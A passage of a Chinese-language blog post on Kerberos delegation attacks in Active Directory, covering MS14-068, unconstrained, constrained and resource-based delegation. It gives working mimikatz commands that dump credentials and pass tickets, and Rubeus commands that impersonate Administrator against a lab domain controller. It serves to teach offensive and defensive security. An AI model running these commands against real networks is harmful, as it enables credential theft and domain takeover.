class=\"wp-block-heading\">\u5229\u7528<\/h2>\n\n\n\n<p><strong>MS14-068<\/strong><\/p>\n\n\n\n<p>\u5728\u5c0f\u4e8e2012R2\u4e14\u6ca1\u6709\u6253KB3011780\u7684\u57df\u63a7\u4e2d\u5b58\u5728\u8be5\u6f0f\u6d1e\uff0c\u5bfc\u81f4\u4efb\u610f\u7528\u6237\u90fd\u53ef\u4ee5\u628a\u81ea\u5df1\u63d0\u6743\u5230\u57df\u63a7\u7ea7\u522b\u3002\u56e0\u4e3a\u8001\u7248\u672c\u7684\u9a8c\u8bc1\u8fc7\u7a0b\u5141\u8bb8\u4efb\u4f55\u7b7e\u540d\u7b97\u6cd5\uff0c\u56e0\u6b64\u6211\u4eec\u53ea\u9700\u8981\u628aPAC\u8fdb\u884cmd5\u5c31\u53ef\u4ee5\u751f\u6210\u65b0\u7684\u6821\u9a8c\u548c\u3002\u8fd9\u4e5f\u5c31\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u968f\u610f\u66f4\u6539PAC\u7684\u5185\u5bb9\uff0c\u4e4b\u540e\u518d\u7528md5\u751f\u6210\u4e00\u4e2a\u670d\u52a1\u68c0\u9a8c\u548c\u4ee5\u53caKDC\u6821\u9a8c\u548c\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u59d4\u6d3e<\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u59d4\u6d3e\u4e3b\u8981\u53d1\u751f\u5728<strong>TGS-Req<\/strong>\u4e0e<strong>TGS-Rep<\/strong>\u9636\u6bb5\uff0c\u5728Windows 2000 Server\u9996\u6b21\u53d1\u5e03Active Directory\u65f6\uff0cMicrosoft\u5fc5\u987b\u63d0\u4f9b\u4e00\u79cd\u7b80\u5355\u7684\u673a\u5236\u6765\u652f\u6301\u7528\u6237\u901a\u8fc7Kerberos\u5411Web Server\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u5e76<strong>\u9700\u8981\u4ee3\u8868\u8be5\u7528\u6237<\/strong>\u66f4\u65b0\u540e\u7aef\u6570\u636e\u5e93\u670d\u52a1\u5668\u4e0a\u7684\u8bb0\u5f55\u7684\u65b9\u6848\u3002\u8fd9\u901a\u5e38\u79f0\u4e3a\u201cKerberos\u53cc\u8df3\u95ee\u9898\u201d\uff0c\u5e76\u4e14\u8981\u6c42\u8fdb\u884c\u59d4\u6d3e\uff0c\u4ee5\u4fbfWeb Server\u5728\u4fee\u6539\u6570\u636e\u5e93\u8bb0\u5f55\u65f6\u6a21\u62df\u7528\u6237\u3002\u9700\u8981\u6ce8\u610f\u7684\u4e00\u70b9\u662f<strong>\u63a5\u53d7\u59d4\u6d3e\u7684\u7528\u6237\u53ea\u80fd\u662f\u670d\u52a1\u8d26\u6237\u6216\u8005\u8ba1\u7b97\u673a\u7528\u6237<\/strong>\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\uff0c\u5047\u8bbe\u73b0\u5728\u6709\u4e09\u4e2a\u5bf9\u8c61\uff0c\u5206\u522b\u662f\u7528\u6237A(hostA)\u3001\u670d\u52a1B(hostB)\u3001\u670d\u52a1C(hostC)\uff0c\u8fd9\u65f6\u7528\u6237A\u60f3\u8981\u4f7f\u7528hostB\u4e0a\u7684\u670d\u52a1B\uff0c\u8fd9\u4e2a\u529f\u80fd\u9700\u8981\u8ba9\u4e3b\u673ahostB\u4e0a\u7684\u670d\u52a1B\u8bbf\u95ee\u4e3b\u673aHostC\u4e0a\u7684\u670d\u52a1C\u4e2d\u4e13\u5c5e\u4e8e\u7528\u6237A\u7684\u90e8\u5206\u624d\u80fd\u5b8c\u6210\uff0c\u56e0\u6b64\u9700\u8981\u4e3b\u673ahostB\u4e0a\u7684\u670d\u52a1B\u5c31\u9700\u8981\u4ee3\u8868\u7528\u6237A\u53bb\u8bbf\u95eehostC\u4e0a\u7684\u670d\u52a1C\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u5c31\u88ab\u79f0\u4e3a\u59d4\u6d3e\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u5373\u7528\u6237A\u59d4\u6d3e\u4e3b\u673ahostB\u4e0a\u7684\u670d\u52a1\u4ee3\u8868\u81ea\u5df1\u53bb\u8bbf\u95ee\u4e86\u4e3b\u673ahostC\u4e0a\u7684\u670d\u52a1C\uff0c\u5f53\u7136\u59d4\u6d3e\u53ef\u4ee5\u88ab\u7406\u89e3\u6210\u4e00\u79cd\u6743\u9650\uff0c\u9700\u8981\u57df\u63a7\u90a3\u8fb9\u63d0\u524d\u914d\u7f6e\u3002<\/p>\n\n\n\n<p>\u59d4\u6d3e\u5927\u6982\u88ab\u5206\u6210\u4e09\u79cd\uff0c\u5206\u522b\u662f\u975e\u7ea6\u675f\u6027\u59d4\u6d3e\u3001\u7ea6\u675f\u6027\u59d4\u6d3e\u548c\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u6027\u59d4\u6d3e(RBCD)\uff0c\u6211\u4eec\u4e00\u79cd\u4e00\u79cd\u6765\u8bb2\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u975e\u7ea6\u675f\u6027\u59d4\u6d3e<\/h2>\n\n\n\n<p>\u5728\u57df\u63a7\u4e0a\u914d\u7f6e\u4e3b\u673ahostB\u7684\u59d4\u6d3e\u5c5e\u6027\u5982\u4e0b\u56fe\u6240\u793a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"722\" height=\"186\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2322\"  sizes=\"auto, (max-width: 722px) 100vw, 722px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u914d\u7f6e\u987e\u540d\u601d\u4e49\uff0c\u4efb\u4f55\u7528\u6237\u90fd\u53ef\u4ee5\u59d4\u6d3e\u4e3b\u673ahostB\u4ee3\u66ff\u81ea\u5df1\u53bb\u8bbf\u95ee\u4efb\u4f55\u670d\u52a1\u3002\u6bd4\u5982\u67d0\u4e2a\u7528\u6237\u59d4\u6258<code>Win2012$<\/code>\u53bb\u8bbf\u95ee\u67d0\u4e2a\u670d\u52a1\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7528\u6237\u4f1a\u5c06 TGT\uff08\u5728TGS\u91cc\u9762\uff09\u53d1\u9001\u5230<code>Win2012$<\/code>\u5e76\u7f13\u5b58\u5230LSASS\u4e2d\uff0c\u4ee5\u65b9\u4fbf\u4ee5\u540e\u4f7f\u7528\u3002 \u7136\u540e<code>Win2012$<\/code>\u6a21\u62df\u7528\u6237\u53bb\u8bf7\u6c42\u67d0\u4e2a\u670d\u52a1\uff0c\u914d\u7f6e\u4e86\u975e\u7ea6\u675f\u59d4\u6d3e\u7684\u7528\u6237\u7684<code>userAccountControl<\/code> \u5c5e\u6027\u6709\u4e2aFLAG\u4f4d <code>TrustedForDelegation<\/code>\u3002(\u57df\u63a7\u673a\u5668\u8d26\u6237\u9ed8\u8ba4\u914d\u7f6e\u975e\u7ea6\u675f\u6027\u59d4\u6d3e)\u3002\u6d41\u7a0b\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1\u3001\u670d\u52a11\u5411KDC\u8bf7\u6c42\u7528\u6237\u7684\u53ef\u8f6c\u53d1\u7968\u636eTGT\n2\u3001\u670d\u52a11\u4f7f\u7528TGT\u5411KDC\u7533\u8bf7\u670d\u52a12\u7968\u636eTGS<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528<\/h3>\n\n\n\n<p><strong>\u8bf1\u4f7f\u9ad8\u6743\u9650\u7528\u6237\u8bbf\u95ee\u673a\u5668<\/strong><\/p>\n\n\n\n<p>\u5f53\u57df\u7ba1\u7406\u5458\u4f7f\u7528net use\u7b49\u8fdc\u7a0b\u8bbf\u95ee\u547d\u4ee4\uff0c\u6a21\u62df\u57df\u63a7\u7ba1\u7406\u5458\u8bbf\u95eeWIN7\u4e3b\u673a\uff0c\u8bbe\u7f6e\u4e86\u975e\u7ea6\u675f\u6027\u59d4\u6d3e\u7684\u4e3b\u673a\u53ef\u4ee5\u6293\u53d6\u5230\u57df\u63a7\u7ba1\u7406\u5458\u7684TGT\u3002<\/p>\n\n\n\n<p>\u5229\u7528\u6761\u4ef6\uff1a<br>1\u3001\u9700\u8981Administrator\u6743\u9650<br>2\u3001\u57df\u5185\u4e3b\u673a\u7684\u673a\u5668\u8d26\u6237\u5f00\u542f\u975e\u7ea6\u675f\u59d4\u6d3e<br>3\u3001\u9ad8\u6743\u9650\u7528\u6237\u8fdc\u7a0b\u8bbf\u95ee<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz.exe \"privilege::debug\" \"sekurlsa::tickets \/export\" \"exit\"<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u4f7f\u7528<code>kerberos::ptt<\/code>\u5bfc\u5165\u7968\u636e\u5373\u53ef\u4f2a\u9020<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mimikatz.exe \"kerberos::ptt &#91;0;4bbb6]-2-0-60a10000-Administrator@krbtgt-HACKME.COM.kirbi\" \"exit\"<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u7ea6\u675f\u59d4\u6d3e<\/h2>\n\n\n\n<p>\u914d\u7f6e\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-4.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"764\" height=\"348\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/09\/1-4.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2323\"  sizes=\"auto, (max-width: 764px) 100vw, 764px\" \/><\/div><\/figure>\n\n\n\n<p>\u5982\u679chostB\u88ab\u914d\u7f6e\u4e86\u5982\u4e0a\u56fe\u6240\u793a\u7684\u7ea6\u675f\u6027\u59d4\u6d3e\uff0c\u90a3\u4e48\u8fd9\u65f6\u5019\u4e3b\u673ahostB\u5c31\u53ef\u4ee5\u88ab\u4efb\u610f\u7528\u6237\u59d4\u6d3e\u53bb\u8bbf\u95eeLISI\u8ba1\u7b97\u673a\u4e0a\u7684cifs\u670d\u52a1\uff0c\u867d\u7136\u8fd9\u91cc\u9650\u5236\u4e86\u8bbf\u95ee\u7684\u670d\u52a1\u7c7b\u578b\u4e0e\u4e3b\u673a\uff0c\u4f46\u4e0d\u80fd\u9650\u5236\u8c01\u80fd\u5bf9\u4e3b\u673ahostB\u8fdb\u884c\u59d4\u6d3e\u3002<\/p>\n\n\n\n<p>\u5fae\u8f6f\u5728\u8fd9\u91cc\u5f15\u5165\u4e86Kerberos\u534f\u8bae\u6269\u5c55\uff0c\u4e5f\u5c31\u662f\u4e4b\u524d\u63d0\u5230\u8fc7\u7684<code>S4U2Self<\/code> \u548c<code>S4U2Proxy<\/code>\u3002\u914d\u7f6e\u5b83\u540e\uff0c<strong>\u7ea6\u675f\u59d4\u6d3e\u5c06\u9650\u5236\u6307\u5b9a\u670d\u52a1\u5668\u53ef\u4ee5\u4ee3\u8868\u7528\u6237\u6267\u884c\u7684\u670d\u52a1<\/strong>\u3002\u8fd9\u9700\u8981\u57df\u7ba1\u7406\u5458\u7279\u6743\uff08\u5176\u5b9e\u4e25\u8c28\u4e00\u70b9\u662f<code>SeEnableDelegation<\/code>\u7279\u6743\uff0c\u8be5\u7279\u6743\u5f88\u654f\u611f\uff0c\u901a\u5e38\u4ec5\u6388\u4e88\u57df\u7ba1\u7406\u5458\uff09\u624d\u80fd\u4e3a\u670d\u52a1\u914d\u7f6e\u57df\u5e10\u6237\uff0c\u5e76\u4e14\u5c06\u5e10\u6237\u9650\u5236\u4e3a\u5355\u4e2a\u57df\u3002<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p><code>S4U2self<\/code>\u534f\u8bae\uff08\u534f\u8bae\u8f6c\u6362\uff09\u5141\u8bb8\u670d\u52a1\u4ee3\u8868\u4efb\u610f\u7528\u6237\u8bf7\u6c42\u8bbf\u95ee\u81ea\u8eab\u670d\u52a1\u7684ST\u670d\u52a1\u7968\u636e\u3002\u8fd9\u4f7f\u5f97\u670d\u52a1\u53ef\u4ee5\u83b7\u5f97\u7528\u6237\u7684\u6388\u6743\uff08\u53ef\u8f6c\u53d1\u7684\u7528\u6237TGS\u7968\u636e\uff09\uff0c\u7136\u540e\u5c06\u5176\u7528\u4e8e\u540e\u671f\u7684\u8ba4\u8bc1\uff08\u4e3b\u8981\u662f\u540e\u671f\u7684s4u2proxy\uff09\u3002<code>S4U2proxy<\/code>\u534f\u8bae\u5141\u8bb8\u670d\u52a1\u5728\u5df2\u53d6\u5f97ST\u670d\u52a1\u7968\u636e\u4e0b\u4ee3\u8868\u4efb\u610f\u7528\u6237\u83b7\u53d6\u53e6\u4e00\u4e2a\u670d\u52a1\u7684\u670d\u52a1\u7968\u636e\u3002<\/p>\n<cite>\u8fd9\u662f\u4e3a\u4e86\u5728\u7528\u6237\u4ee5\u4e0d\u4f7f\u7528 Kerberos \u7684\u65b9\u5f0f\u5bf9\u670d\u52a1\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\u3002<br>\u5f53\u7528\u6237\u4ee5\u5176\u4ed6\u65b9\u5f0f\uff08\u5982NTLM\u8ba4\u8bc1\uff0c\u57fa\u4e8e\u8868\u5355\u7684\u8ba4\u8bc1\u7b49\u65b9\u5f0f\uff09\u4e0e\u670d\u52a1\u5668\u8fdb\u884c\u8ba4\u8bc1\u540e\uff0c\u7528\u6237\u662f\u65e0\u6cd5\u5411\u670d\u52a1\u5668\u63d0\u4f9b\u8bf7\u6c42\u8be5\u670d\u52a1\u7684\u670d\u52a1\u7968\u636eTGS\u7684\uff0c\u56e0\u800c\u670d\u52a1\u5668\u4e5f\u65e0\u6cd5\u8fdb\u4e00\u6b65\u4f7f\u7528S4U2Proxy\u534f\u8bae\u8bf7\u6c42\u8bbf\u95ee\u670d\u52a1B\u3002<br>S4U2Self\u534f\u8bae\u4fbf\u662f\u89e3\u51b3\u8be5\u95ee\u9898\u7684\u65b9\u6848\uff0c\u88ab\u8bbe\u7f6e\u4e3a<code>TrustedToAuthForDelegation<\/code>\u7684\u670d\u52a1\u80fd\u591f\u8c03\u7528S4U2Self\u5411\u8ba4\u8bc1\u670d\u52a1\u5668\u4e3a\u4efb\u610f\u7528\u6237\u8bf7\u6c42\u8bbf\u95ee\u81ea\u8eab\u7684\u53ef\u8f6c\u53d1\u7684\u670d\u52a1\u7968\u636e\uff0c\u6b64\u540e\uff0c\u4fbf\u53ef\u901a\u8fc7S4U2Proxy\u4f7f\u7528\u8fd9\u5f20TGS\u5411\u57df\u63a7\u5236\u5668\u8bf7\u6c42\u8bbf\u95eeB\u7684\u7968\u636e<\/cite><\/blockquote>\n\n\n\n<p>\u914d\u7f6e\u4e86\u7ea6\u675f\u59d4\u6d3e\u7684\u7528\u6237\u7684<code>userAccountControl<\/code>\u5c5e\u6027\u6709\u4e2aFLAG\u4f4d<code>TrustedToAuthForDelegation<\/code>\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u8fd8\u6709\u4e00\u4e2a<code>msDS-AllowedToDelegateTo<\/code>\u5c5e\u6027\u4f4d\uff0c\u7528\u4e8e\u914d\u7f6e\u5bf9\u54ea\u4e2aSPN\u8fdb\u884c\u59d4\u6d3e\u3002\u8fc7\u7a0b\u5373\uff1a\u6536\u5230\u7528\u6237\u7684\u8bf7\u6c42\u4e4b\u540e\uff0c\u9996\u5148\u4ee3\u8868\u7528\u6237\u83b7\u5f97\u9488\u5bf9\u670d\u52a1\u81ea\u8eab\u7684\u53ef\u8f6c\u53d1\u7684kerberos\u670d\u52a1\u7968\u636e(<code>S4U2SELF<\/code>)\uff0c\u62ff\u7740\u8fd9\u4e2a\u7968\u636e\u5411KDC\u8bf7\u6c42\u8bbf\u95ee\u7279\u5b9a\u670d\u52a1\u7684\u53ef\u8f6c\u53d1\u7684TGS\uff08<code>S4U2PROXY<\/code>\uff09\uff0c\u5e76\u4e14\u4ee3\u8868\u7528\u6237\u8bbf\u95ee\u7279\u5b9a\u670d\u52a1\uff0c\u800c\u4e14\u53ea\u80fd\u8bbf\u95ee\u8be5\u7279\u5b9a\u670d\u52a1\u3002<\/p>\n\n\n\n<p>\u5177\u4f53\u6b65\u9aa4\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>1\u3001\u670d\u52a11\u4f7f\u7528\u81ea\u5df1\u7684hash\u5411KDC\u7533\u8bf7\u4e00\u4e2aTGT\u7968\u636e\uff0c\u6ce8\u610f\u5728KDC-Options\u91cc\u9762\u9009\u62e9FORWARDABLE\u6807\u5fd7\u4f4d\uff0c\u8fd9\u6837\u7684\u8bdd\u8bf7\u6c42\u7684TGT\u7968\u636e\u5c31\u662f\u53ef\u8f6c\u53d1\u7684TGT\u7968\u636e\u3002\n2\u3001\u670d\u52a11\u4ee3\u8868\u7528\u6237\u7533\u8bf7\u4e00\u4e2a\u83b7\u5f97\u9488\u5bf9\u670d\u52a11\u81ea\u8eab\u7684kerberos\u670d\u52a1\u7968\u636e\uff08\u8fd9\u4e00\u6b65\u5c31\u662fS4U2SELF)\uff0c\u8fd9\u4e00\u6b65\u751f\u6210\u7684TGS\u7968\u636e\u662f\u53ef\u8f6c\u53d1\u7684TGS\u7968\u636e\u3002\n3\u3001\u670d\u52a11\u53ef\u4ee5\u4f7f\u7528\u6765\u81ea\u7528\u6237\u7684\u6388\u6743\uff08\u5728S4U2SELF\u9636\u6bb5\u83b7\u5f97\u7684\u53ef\u8f6c\u53d1\u7684TGS\uff09\uff0c\u7136\u540e\u7528\u8be5TGS\uff08\u653e\u5728AddtionTicket\u91cc\u9762\uff09\u5411KDC\u8bf7\u6c42\u8bbf\u95ee\u670d\u52a12\u7684TGS<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528<\/h3>\n\n\n\n<p><strong>\u4f7f\u7528\u673a\u5668\u8d26\u6237\u5df2\u5b58\u5728\u7684TGT\u7968\u636e<\/strong><\/p>\n\n\n\n<p>\u7ea6\u675f\u6027\u59d4\u6d3e\u653b\u51fb\u7684\u5173\u952e\u5c31\u662f\u83b7\u5f97\u53ef\u8f6c\u53d1\u7684\u670d\u52a1\u7968\u636eTGS\uff0c\u800c\u7ea6\u675f\u6027\u59d4\u6d3e\u5728\u5411KDC\u7533\u8bf7\u53ef\u8f6c\u53d1TGS\u65f6\uff0c\u9700\u8981\u63d0\u4f9b\u53ef\u8f6c\u53d1\u7684TGT\uff08\u81ea\u8eab\u7684hash\u7533\u8bf7\u7684\uff09\u3002\u83b7\u53d6\u6839\u636e\u7ea6\u675f\u6027\u59d4\u6d3e\u7684\u6267\u884c\u8fc7\u7a0b\u53ef\u77e5\uff0c\u53ea\u8981\u63a7\u5236\u914d\u7f6e\u7ea6\u675f\u6027\u59d4\u6d3e\u670d\u52a1\u7684\u673a\u5668\uff0c\u5e76\u83b7\u5f97\u4e86\u5b83\u7684\u5bc6\u7801\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u52ab\u6301\u8fd9\u53f0\u4e3b\u673a\u7684kerberos\u8bf7\u6c42\u8fc7\u7a0b\uff0c\u6700\u7ec8\u83b7\u5f97\u4efb\u610f\u7528\u6237\u6743\u9650\u7684ticket<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># \u5bfc\u51fa\u7968\u636e\nmimikatz.exe \"privilege::debug\" \"sekurlsa::logonpasswords\" \"exit\"\n\n# \u4f7f\u7528Rubeus\u7533\u8bf7\u670d\u52a1\u7968\u636e\n.\\Rubeus.exe asktgt \/user:MSSQLSERVER$ \/rc4:NTLM\u54c8\u5e0c \/domain:xiaorang.lab \/dc:DC.xiaorang.lab \/nowrap\n\n# \u6ce8\u5165\u7968\u636e\n.\\Rubeus.exe s4u \/impersonateuser:Administrator \/msdsspn:CIFS\/DC.xiaorang.lab \/dc:DC.xiaorang.lab \/ptt \/ticket:\u4f60\u4e0a\u9762\u6293\u5230\u7684\u670d\u52a1\u7968\u636e\n\n# \u8bbf\u95ee\ndir \\\\DC.xiaorang.lab\\c$<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u6027\u59d4\u6d3e(RBCD)<\/h2>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u59d4\u6d3e\u5141\u8bb8\u8d44\u6e90\u914d\u7f6e\u53d7\u4fe1\u4efb\u7684\u5e10\u6237\u59d4\u6d3e\u7ed9\u4ed6\u4eec\u3002\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u59d4\u6d3e\u4e0d\u9700\u8981\u901a\u8fc7\u5177\u5907<code>SeEnableDelegationPrivilege<\/code>\u6743\u9650\u7684\u57df\u7ba1\u7406\u5458\u8fdb\u884c\u4fee\u6539\uff0c\u800c\u662f\u5c06\u8bbe\u7f6e\u5c5e\u6027\u7684\u6743\u9650\u7ed9\u4e86\u670d\u52a1\u8d44\u6e90\u672c\u8eab\uff0c\u8d44\u6e90\u672c\u8eab\u53ef\u4ee5\u4e3a\u81ea\u5df1\u914d\u7f6e\u8d44\u6e90\u59d4\u6d3e\u4fe1\u4efb\u5173\u7cfb\uff0c\u8d44\u6e90\u672c\u8eab\u51b3\u5b9a\u53ef\u4ee5\u4fe1\u4efb\u8c01\u3002<\/p>\n<\/blockquote>\n\n\n\n<p>\u4ee5\u4eceService A\u5230Service B\u7684\u59d4\u6d3e\u4f5c\u4e3a\u4f8b\u5b50\uff0c\u4f20\u7edf\u7684\u7ea6\u675f\u6027\u59d4\u6d3e\u9700\u8981\u57df\u7ba1\u7406\u5458\u5c06Service A\u7684 <code>msDS-AllowedToDelegateTo<\/code>\u5c5e\u6027\u6307\u5b9a\u4e3aService B\uff0c\u800c\u5728\u57fa\u4e8e\u8d44\u6e90\u7684\u7ea6\u675f\u6027\u59d4\u6d3e\u4e2d\u65e0\u9700\u57df\u7ba1\u7406\u5458\u53c2\u52a0\uff0c\u53ea\u9700\u8981\u5728Service B\u4e0a\u628a<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code>\u5c5e\u6027\u8bbe\u7f6e\u4e3aService A\u5373\u53ef\u5b8c\u6210\u59d4\u6d3e\u3002\u914d\u7f6eRBCD\u7684\u5173\u952e\u5728\u4e8e\u8bbe\u7f6e<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code>\u5c5e\u6027\uff0c\u4e00\u822c\u800c\u8a00\u62e5\u6709\u8bbe\u7f6e\u6743\u9650\u7684\u7528\u6237\u4e3a\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06\u4e3b\u673a\u52a0\u5165\u57df\u7684\u7528\u6237 (\u673a\u5668\u8d26\u6237\u4e2d\u4f1a\u6709\u4e00\u4e2a msDS-CreatorSID \u5c5e\u6027, \u4f7f\u7528\u975e\u57df\u7ba1\u8d26\u6237\u52a0\u5165\u57df\u65f6\u624d\u4f1a\u663e\u793a)<\/li>\n\n\n\n<li>Account Operators (\u80fd\u4fee\u6539\u4efb\u610f\u57df\u5185\u975e\u57df\u63a7\u673a\u5668\u7684\u59d4\u6d3e\u5c5e\u6027)<\/li>\n\n\n\n<li>NT AUTHORITY\\SELF (\u8be5\u4e3b\u673a\u7684\u673a\u5668\u8d26\u6237)<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528<\/h3>\n\n\n\n<p><strong>\u672c\u5730\u63d0\u6743<\/strong><\/p>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u73b0\u5728\u5df2\u7ecf\u83b7\u53d6\u5230\u4e00\u4e2a\u57df\u8d26\u6237bob\uff0c\u5176\u5177\u5907\u673a\u5668win2019\u7684\u5c5e\u6027\u4fee\u6539\u7684\u6743\u9650\uff0c\u90a3\u6211\u4eec\u5c31\u53ef\u4ee5\u83b7\u53d6win2019\u7684\u7ba1\u7406\u5458\u6743\u9650<\/p>\n\n\n\n<p>\u653b\u51fb\u6b65\u9aa4\uff1a<br>1\u3001\u5229\u7528bob\u57df\u7528\u6237\u521b\u5efa\u4e00\u4e2a\u673a\u5668\u8d26\u6237test(\u6bcf\u4e2a\u57df\u7528\u6237\u9ed8\u8ba4\u53ef\u4ee5\u521b\u5efa10\u4e2a)<br>2\u3001\u7136\u540e\u4fee\u6539win2019\u7684<code>msDS-AllowedToActOnBehalfOfOtherIdentity<\/code> \u4e3a\u65b0\u521b\u5efa\u7684\u673a\u5668\u7528\u6237\u7684sid<br>3\u3001\u5229\u7528\u8be5\u673a\u5668\u8d26\u6237\u7684\u51ed\u8bc1\u901a\u8fc7S4U\u534f\u8bae\u4f2a\u9020Administrator\u7528\u6237\u59d4\u6d3e\u81f3\u76ee\u6807\u4e3b\u673a\u7684ST\u7968\u636e, \u5b9e\u73b0\u672c\u5730\u63d0\u6743\/\u6a2a\u5411\u79fb\u52a8<\/p>\n\n\n\n<p><strong>\u53d8\u79cd\u9ec4\u91d1\u7968\u636e<\/strong><\/p>\n\n\n\n<p>\u5728\u83b7\u53d6\u5230\u57df\u63a7\u6743\u9650\u540e\uff0c\u53ef\u4ee5\u5bf9krbtgt\u7528\u6237\u8bbe\u7f6e\u59d4\u6d3e\u5c5e\u6027\uff0c\u4ee5\u5b9e\u73b0\u7ef4\u6301\u6743\u9650\u7684\u76ee\u7684\uff0c\u7c7b\u4f3c\u4e0e\u4e00\u4e2a\u53d8\u79cd\u7684\u9ec4\u91d1\u7968\u636e<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u65b0\u4e00\u4ee3Kerberos\u653b\u51fb<\/h1>\n\n\n\n<p>\u9647\u5251\u7684\u65f6\u5019\u548c\u5176\u4ed6\u5e08\u5085\u4ea4\u6d41\u53d1\u73b0\u5185\u7f51\u91cc\u7684Kerberos\u653b\u51fb\u9664\u4e86\u5e38\u89c1\u7684\u9ec4\u91d1\u767d\u94f6\u7968\u636e\uff0c\u73b0\u5728\u8fd8\u65b0\u51fa\u4e86\u84dd\u5b9d\u77f3\u7968\u636e\u548c\u94bb\u77f3\u7968\u636e\uff0c\u8fd9\u91cc\u7b80\u5355\u8865\u5145\u4e00\u4e0b\u3002<\/p>\n\n\n\n<p>\u5e38\u89c4\u7684\u540e\u6e17\u900f\u601d\u8def\u91cc\uff0c\u7968\u636e\u653b\u51fb\u5e38\u7528\u4e8e\u57df\u5185\u6a2a\u5411\uff0c\u6700\u5e38\u89c1\u7684\u5c31\u662f\u9ec4\u91d1\u7968\u636e\u548c\u767d\u94f6\u7968\u636e\uff0c\u524d\u9762\u5df2\u7ecf\u63d0\u8fc7\u4e86\uff0c\u767d\u94f6\u7968\u636e\u5c40\u9650\u6027\u662f\u6700\u5927\u7684\uff0c\u53ea\u80fd\u8bbf\u95ee\u6307\u5b9a\u670d\u52a1\uff0c\u5e76\u4e14\u76ee\u6807\u4e3b\u673a\u4e0d\u80fd\u5f00\u542f\u9a8c\u8bc1KDC 